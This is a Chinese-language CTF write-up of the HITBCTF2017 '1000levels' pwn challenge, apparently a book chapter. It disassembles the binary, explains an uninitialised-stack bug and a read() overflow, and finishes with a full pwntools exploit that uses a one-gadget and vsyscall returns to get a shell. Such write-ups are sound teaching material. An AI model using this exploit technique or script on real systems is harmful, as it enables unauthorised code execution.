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移除书签6.1.16 pwn HITBCTF2017 1000levels
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$ file 1000levels1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped$ checksec -f 1000levelsRELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels$ strings libc-2.23.so | grep "GNU C"GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.Compiled by GNU CC version 5.4.0 20160609.
关闭了 Canary，开启 NX 和 PIE。于是猜测可能是栈溢出，但需要绕过 ASLR。not stripped 可以说是很开心了。
玩一下：
$ ./1000levelsWelcome to 1000levels, it's much more diffcult than before.1. Go2. Hint3. Give upChoice:1How many levels?0CowardAny more?1Let's go!'====================================================Level 1Question: 0 * 0 = ? Answer:0Great job! You finished 1 levels in 1 seconds
Go 的功能看起来就是让你先输入一个数，然后再输入一个数，两个数相加作为 levels，然后让你做算术。
但是很奇怪的是，如果你使用了 Hint 功能，然后第一个数输入了 0 的时候，无论第二个数是多少，仿佛都会出现无限多的 levels：
$ ./1000levelsWelcome to 1000levels, it's much more diffcult than before.1. Go2. Hint3. Give upChoice:2NO PWN NO FUN1. Go2. Hint3. Give upChoice:1How many levels?0CowardAny more?1More levels than before!Let's go!'====================================================Level 1Question: 0 * 0 = ? Answer:0====================================================Level 2Question: 1 * 1 = ? Answer:1====================================================Level 3Question: 1 * 1 = ? Answer:1====================================================Level 4Question: 3 * 1 = ? Answer:
所以应该重点关注一下 Hint 功能。
题目解析
程序比较简单，基本上只有 Go 和 Hint 两个功能。
hint
先来看 hint：
[0x000009d0]> pdf @ sym.hint/ (fcn) sym.hint 140| sym.hint ();| ; var int local_110h @ rbp-0x110| ; CALL XREF from 0x00000fa6 (main)| 0x00000cf0 push rbp| 0x00000cf1 mov rbp, rsp| 0x00000cf4 sub rsp, 0x110 ; 开辟栈空间 rsp - 0x110| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0| 0x00000d02 mov qword [local_110h], rax ; 将 system 地址放到栈顶 [local_110h]| 0x00000d09 lea rax, obj.show_hint ; 0x20208c| 0x00000d10 mov eax, dword [rax] ; 取出 show_hint| 0x00000d12 test eax, eax| ,=< 0x00000d14 je 0xd41 ; 当 show_hint 为 0 时| | 0x00000d16 mov rax, qword [local_110h] ; 否则继续| | 0x00000d1d lea rdx, [local_110h]| | 0x00000d24 lea rcx, [rdx + 8]| | 0x00000d28 mov rdx, rax| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"| | 0x00000d32 mov rdi, rcx| | 0x00000d35 mov eax, 0| | 0x00000d3a call sym.imp.sprintf ; 将 system 地址复制到 [local_110h+0x8]| ,==< 0x00000d3f jmp 0xd66| || ; JMP XREF from 0x00000d14 (sym.hint)| |`-> 0x00000d41 lea rax, [local_110h]| | 0x00000d48 add rax, 8 ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8]| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e| | 0x00000d56 mov qword [rax], rsi| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0| | ; JMP XREF from 0x00000d3f (sym.hint)| `--> 0x00000d66 lea rax, [local_110h]| 0x00000d6d add rax, 8| 0x00000d71 mov rdi, rax| 0x00000d74 call sym.imp.puts ; 打印出 [local_110h+0x8]| 0x00000d79 nop| 0x00000d7a leave\ 0x00000d7b ret[0x000009d0]> ir~systemvaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system[0x000009d0]> is~show_hint051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint
可以看到 system() 的地址被复制到栈上（local_110h），然后对全局变量 show_hint 进行判断，如果为 0，打印字符串 “NO PWN NO FUN”，否则打印 system() 的地址。
为了绕过 ASLR，我们需要信息泄漏，如果能够修改 show_hint，那我们就可以得到 system() 的地址。但是 show_hint 放在 .bss 段上，程序开启了 PIE，地址随机无法修改。
go
继续看 go：
[0x000009d0]> pdf @ sym.go/ (fcn) sym.go 372| sym.go ();| ; var int local_120h @ rbp-0x120| ; var int local_118h @ rbp-0x118| ; var int local_114h @ rbp-0x114| ; var int local_110h @ rbp-0x110| ; var int local_108h @ rbp-0x108| ; CALL XREF from 0x00000f9f (main)| 0x00000b7c push rbp| 0x00000b7d mov rbp, rsp| 0x00000b80 sub rsp, 0x120 ; 开辟栈空间 rsp - 0x120| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"| 0x00000b8e call sym.imp.puts ; int puts(const char *s)| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)| 0x00000b98 mov qword [local_120h], rax ; 读入第一个数 num1 放到 [local_120h]| 0x00000b9f mov rax, qword [local_120h]| 0x00000ba6 test rax, rax| ,=< 0x00000ba9 jg 0xbb9 ; num1 大于 0 时跳转| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)| ,==< 0x00000bb7 jmp 0xbc7| || ; JMP XREF from 0x00000ba9 (sym.go)| |`-> 0x00000bb9 mov rax, qword [local_120h]| | 0x00000bc0 mov qword [local_110h], rax ; num1 放到 [local_110h]| | ; JMP XREF from 0x00000bb7 (sym.go)| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"| 0x00000bce call sym.imp.puts ; int puts(const char *s)| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)| 0x00000bd8 mov qword [local_120h], rax ; 读入第二个数 num2 到 [local_120h]| 0x00000bdf mov rdx, qword [local_110h]| 0x00000be6 mov rax, qword [local_120h]| 0x00000bed add rax, rdx ; 两个数的和 num3 = num1 + num2| 0x00000bf0 mov qword [local_110h], rax| 0x00000bf7 mov rax, qword [local_110h]| 0x00000bfe test rax, rax| ,=< 0x00000c01 jg 0xc14 ; num3 大于 0 时跳转| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)| ,==< 0x00000c0f jmp 0xcee| |`-> 0x00000c14 mov rax, qword [local_110h]| | 0x00000c1b cmp rax, 0x3e7 ; num3 与 999 比较| |,=< 0x00000c21 jle 0xc3c ; num3 小于等于 999 时| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)| || 0x00000c2f mov qword [local_108h], 0x3e8 ; 将 num3 设为最大值 1000| ,===< 0x00000c3a jmp 0xc4a| ||| ; JMP XREF from 0x00000c21 (sym.go)| ||`-> 0x00000c3c mov rax, qword [local_110h]| || 0x00000c43 mov qword [local_108h], rax ; 把 num3 放到 [local_108h]| || ; JMP XREF from 0x00000c3a (sym.go)| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)| | 0x00000c56 mov edi, 0| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)| | 0x00000c60 mov dword [local_118h], eax| | 0x00000c66 mov rax, qword [local_108h]| | 0x00000c6d mov edi, eax ; rdi = num3| | 0x00000c6f call sym.level_int ; 进入计算题游戏| | 0x00000c74 test eax, eax| | 0x00000c76 setne al| | 0x00000c79 test al, al| |,=< 0x00000c7b je 0xcd8 ; 返回值为 0 时跳转，游戏失败| || 0x00000c7d mov edi, 0 ; 否则游戏成功| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)| || 0x00000c87 mov dword [local_114h], eax| || 0x00000c8d mov edx, dword [local_114h]| || 0x00000c93 mov eax, dword [local_118h]| || 0x00000c99 sub edx, eax| || 0x00000c9b mov rax, qword [local_108h]| || 0x00000ca2 lea rcx, [local_120h]| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"| || 0x00000cad mov ecx, edx| || 0x00000caf mov rdx, rax| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"| || 0x00000cb9 mov eax, 0| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,| || 0x00000cc3 lea rax, [local_120h]| || 0x00000cca add rax, 0x20| || 0x00000cce mov rdi, rax| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)| ,===< 0x00000cd6 jmp 0xce4| ||| ; JMP XREF from 0x00000c7b (sym.go)| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)| || ; JMP XREF from 0x00000cd6 (sym.go)| `---> 0x00000ce4 mov edi, 0| | 0x00000ce9 call sym.imp.exit ; void exit(int status)| | ; JMP XREF from 0x00000c0f (sym.go)| `--> 0x00000cee leave\ 0x00000cef ret
可以看到第一个数 num1 被读到 local_120h，如果大于 0，num1 被复制到 local_110h，然后读取第二个数 num2 到 local_120h，将两个数相加再存到 local_110h。但是如果 num1 小于等于 0，程序会直接执行读取 num2 到 local_120h 的操作，然后读取 local_110h 的数值作为 num1，将两数相加。整个过程都没有对 local_110h 进行初始化，程序似乎默认了 local_110h 的值是 0，然而事实并非如此。回想一下 hint 操作，放置 system 的地址正是 local_110h（两个函数的rbp相同）。这是一个内存未初始化造成的漏洞。
接下来，根据两数相加的和，程序有三条路径，如果和小于 0，程序返回到开始菜单；如果和大于 0 且小于 1000，进入游戏；如果和大于 1000，则将其设置为最大值 1000，进入游戏。
然后来看游戏函数 sym.level_int()：
[0x000009d0]> pdf @ sym.level_int/ (fcn) sym.level_int 289| sym.level_int ();| ; var int local_34h @ rbp-0x34| ; var int local_30h @ rbp-0x30| ; var int local_28h @ rbp-0x28| ; var int local_20h @ rbp-0x20| ; var int local_18h @ rbp-0x18| ; var int local_10h @ rbp-0x10| ; var int local_ch @ rbp-0xc| ; var int local_8h @ rbp-0x8| ; var int local_4h @ rbp-0x4| ; CALL XREF from 0x00000c6f (sym.go)| ; CALL XREF from 0x00000e70 (sym.level_int)| 0x00000e2d push rbp| 0x00000e2e mov rbp, rsp| 0x00000e31 sub rsp, 0x40 ; '@'| 0x00000e35 mov dword [local_34h], edi ; 将 level 存到 [local_34h]| 0x00000e38 mov qword [local_30h], 0| 0x00000e40 mov qword [local_28h], 0| 0x00000e48 mov qword [local_20h], 0| 0x00000e50 mov qword [local_18h], 0| 0x00000e58 cmp dword [local_34h], 0| ,=< 0x00000e5c jne 0xe68 ; level 不等于 0 时继续| | 0x00000e5e mov eax, 1| ,==< 0x00000e63 jmp 0xf4c ; 否则函数返回 1| || ; JMP XREF from 0x00000e5c (sym.level_int)| |`-> 0x00000e68 mov eax, dword [local_34h]| | 0x00000e6b sub eax, 1 ; level = level - 1| | 0x00000e6e mov edi, eax| | 0x00000e70 call sym.level_int ; 递归调用游戏函数| | 0x00000e75 test eax, eax| | 0x00000e77 sete al| | 0x00000e7a test al, al| |,=< 0x00000e7c je 0xe88 ; 返回值为 1 时继续| || 0x00000e7e mov eax, 0| ,===< 0x00000e83 jmp 0xf4c ; 否则函数结束返回 0| ||| ; JMP XREF from 0x00000e7c (sym.level_int)| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)| || 0x00000e8d cdq| || 0x00000e8e idiv dword [local_34h]| || 0x00000e91 mov dword [local_8h], edx| || 0x00000e94 call sym.imp.rand ; int rand(void)| || 0x00000e99 cdq| || 0x00000e9a idiv dword [local_34h]| || 0x00000e9d mov dword [local_ch], edx| || 0x00000ea0 mov eax, dword [local_8h]| || 0x00000ea3 imul eax, dword [local_ch]| || 0x00000ea7 mov dword [local_10h], eax ; 将正确答案放到 [local_10h]| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)| || 0x00000eb6 mov eax, dword [local_34h]| || 0x00000eb9 mov esi, eax| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"| || 0x00000ec2 mov eax, 0| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)| || 0x00000ecc mov edx, dword [local_ch]| || 0x00000ecf mov eax, dword [local_8h]| || 0x00000ed2 mov esi, eax| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"| || 0x00000edb mov eax, 0| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)| || 0x00000ee5 lea rax, [local_30h] ; 读取输入到 [local_30h]| || 0x00000ee9 mov edx, 0x400| || 0x00000eee mov rsi, rax| || 0x00000ef1 mov edi, 0| || 0x00000ef6 call sym.imp.read ; read(0, local_30h, 0x400)| || 0x00000efb mov dword [local_4h], eax ; 返回值放到 [local_4h]，即读取字节数| || ; JMP XREF from 0x00000f16 (sym.level_int)| ||.-> 0x00000efe mov eax, dword [local_4h]| ||: 0x00000f01 and eax, 7 ; 取出低 3 位| ||: 0x00000f04 test eax, eax| ,====< 0x00000f06 je 0xf18 ; 为 0 时跳转，即 8 的倍数| |||: 0x00000f08 mov eax, dword [local_4h]| |||: 0x00000f0b cdqe| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 ; 在字符串末尾加上 0| |||: 0x00000f12 add dword [local_4h], 1| |||`=< 0x00000f16 jmp 0xefe ; 循环| ||| ; JMP XREF from 0x00000f06 (sym.level_int)| `----> 0x00000f18 lea rax, [local_30h]| || 0x00000f1c mov edx, 0xa| || 0x00000f21 mov esi, 0| || 0x00000f26 mov rdi, rax| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)| || 0x00000f2e mov rdx, rax| || 0x00000f31 mov eax, dword [local_10h]| || 0x00000f34 cdqe| || 0x00000f36 cmp rdx, rax ; 将输入答案与正确答案相比较| || 0x00000f39 sete al ; 相等时设置 al 为 1| || 0x00000f3c test al, al| ||,=< 0x00000f3e je 0xf47 ; 返回值为 0| ||| 0x00000f40 mov eax, 1| ,====< 0x00000f45 jmp 0xf4c ; 返回值为 1| |||| ; JMP XREF from 0x00000f3e (sym.level_int)| |||`-> 0x00000f47 mov eax, 0| ||| ; JMP XREF from 0x00000f45 (sym.level_int)| ||| ; JMP XREF from 0x00000e83 (sym.level_int)| ||| ; JMP XREF from 0x00000e63 (sym.level_int)| ```--> 0x00000f4c leave\ 0x00000f4d ret
可以看到 read() 函数有一个很明显的栈溢出漏洞，local_30h 并没有 0x400 这么大的空间。由于游戏是递归的，所以我们需要答对前 999 道题，在最后一题时溢出，构造 ROP。
漏洞利用
总结一下，程序存在两个漏洞：
- hint 函数将 system 放到栈上，而 go 函数在使用该地址时未进行初始化
- level 函数存在栈溢出
关于利用的问题也有两个：
- 虽然 system 被放到了栈上，但我们不能设置其参数
- 程序开启了 PIE，但没有可以进行信息泄漏的漏洞
对于第一个问题，我们有不需要参数的 one-gadget 可以用，通过将输入的第二个数设置为偏移，即可通过程序的计算将 system 修改为 one-gadget。
$ one_gadget libc-2.23.so0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:[rsp+0x30] == NULL0xf0274 execve("/bin/sh", rsp+0x50, environ)constraints:[rsp+0x50] == NULL0xf1117 execve("/bin/sh", rsp+0x70, environ)constraints:[rsp+0x70] == NULL
这里我们选择 0x4526a 地址上的 one-gadget。
第二个问题，在随机化的情况下怎么找到可用的 ret gadget？这时候可以利用 vsyscall，这是一个固定的地址。（参考章节4.15）
gdb-peda$ vmmap vsyscallStart End Perm Name0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]gdb-peda$ x/5i 0xffffffffff6000000xffffffffff600000: mov rax,0x600xffffffffff600007: syscall0xffffffffff600009: ret0xffffffffff60000a: int30xffffffffff60000b: int3
但我们必须跳到 vsyscall 的开头，而不能直接跳到 ret，这是内核决定的。
最后一次的 payload 和调试结果如下：
gdb-peda$ x/11gx 0x7fffffffec10-0x500x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x300x7fffffffebd0: 0x4141414141414141 0x41414141414141410x7fffffffebe0: 0x4141414141414141 0x41414141414141410x7fffffffebf0: 0x4242424242424242 0xffffffffff600000 <-- rbp <-- ret0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget
gdb-peda$ ni[----------------------------------registers-----------------------------------]RAX: 0x0RBX: 0x0RCX: 0xa ('\n')RDX: 0x0RSI: 0x0RDI: 0x7fffffffebc0 ('A' <repeats 44 times>, "P")RBP: 0x4242424242424242 ('BBBBBBBB')RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)RIP: 0x555555554f4d (<_Z5leveli+288>: ret)R8 : 0x0R9 : 0x1999999999999999R10: 0x0R11: 0x7ffff7b845a0 --> 0x2000200020002R12: 0x5555555549d0 (<_start>: xor ebp,ebp)R13: 0x7fffffffee40 --> 0x1R14: 0x0R15: 0x0EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287>0x555555554f47 <_Z5leveli+282>: mov eax,0x00x555555554f4c <_Z5leveli+287>: leave=> 0x555555554f4d <_Z5leveli+288>: ret0x555555554f4e <main>: push rbp0x555555554f4f <main+1>: mov rbp,rsp0x555555554f52 <main+4>: sub rsp,0x300x555555554f56 <main+8>: mov QWORD PTR [rbp-0x30],0x0[------------------------------------stack-------------------------------------]0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60)0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60)0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8)0032| 0x7fffffffec18 --> 0x3e80040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN')0048| 0x7fffffffec28 --> 0xff00000056| 0x7fffffffec30 --> 0x0[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x0000555555554f4d in level(int) ()
三次 return 之后，就会跳到 one-gadget 上去。
Bingo!!!
$ python exp.py[+] Starting local process './1000levels': pid 6901[*] Switching to interactive mode$ whoamifirmy
exploit
完整的 exp 如下：
#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'io = process(['./1000levels'], env={'LD_PRELOAD':'./libc-2.23.so'})one_gadget = 0x4526asystem_offset = 0x45390ret_addr = 0xffffffffff600000def go(levels, more):io.sendlineafter("Choice:\n", '1')io.sendlineafter("levels?\n", str(levels))io.sendlineafter("more?\n", str(more))def hint():io.sendlineafter("Choice:\n", '2')if __name__ == "__main__":hint()go(0, one_gadget - system_offset)for i in range(999):io.recvuntil("Question: ")a = int(io.recvuntil(" ")[:-1])io.recvuntil("* ")b = int(io.recvuntil(" ")[:-1])io.sendlineafter("Answer:", str(a * b))payload = 'A' * 0x30 # bufferpayload += 'B' * 0x8 # rbppayload += p64(ret_addr) * 3io.sendafter("Answer:", payload)io.interactive()
